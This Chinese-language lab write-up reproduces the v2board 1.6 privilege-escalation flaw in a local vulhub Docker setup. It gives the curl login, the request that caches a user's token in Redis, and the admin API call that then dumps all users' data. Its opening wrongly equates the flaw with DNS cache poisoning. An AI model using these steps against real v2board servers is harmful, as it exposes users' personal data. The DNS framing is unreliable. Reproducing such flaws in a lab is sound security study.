1.什么是缓存投毒
缓存投毒(Cache poisoning),通常也称为域名系统投毒(domain name system poisoning),或DNS缓存投毒(DNS cache poisoning)。它是利用虚假Internet地址替换掉域名系统表中的地址,进而制造破坏。当网络用户在带有该虚假地址的页面中进行搜寻,以访问某链接时,网页浏览器由于受到该虚假条目的影响而打开了不同的网页链接。在这种情况下,蠕虫、木马、浏览器劫持等恶意软件就可能会被下载到本地用户的电脑上。
------百度
关于v2board的相关漏洞信息和文件在此链接https://github.com/vulhub/vulhub/tree/master/v2board/1.6-privilege-escalation
2.复现漏洞
1.首先 建立一个目录,复制以下两个脚本文件
2. 建立完成后,利用docker创建复现环境
docker compose up -d
下载完成后输入IP地址加端口号即可看见登录界面
3.自行注册一个账号
然后,将电子邮件和密码替换为您自己的数据并登录:
curl -i -s -k -XPOST --data-binary "email=123@123.com&password=12345678"http://localhost:9090/api/v1/passport/auth/login
得到如下auth_data码
4.打开bp抓包,将带有auth_data码的request包放入其中
GET /api/v1/user/info HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Authorization: ZXhhbXBsZUBleGFtcGxlLmNvbTokMnkkMTAkMVJpUFplR2RnZlFPSVRyWEM4dW0udW5QZVZNTGs3RlFFbkFVVnBwbEhmTlMyczdQaEpTa3E=
Cache-Control: max-age=0
即可得出该用户的信息
此步骤是让服务器将您的授权保存到 Redis 缓存。
最后,可以简单地使用此授权调用所有管理员 API,例如 http://your-ip:8080/api/v1/admin/user/fetch:
我们利用管理员的api将所有用户信息一一列出,漏洞复现大功告成!!!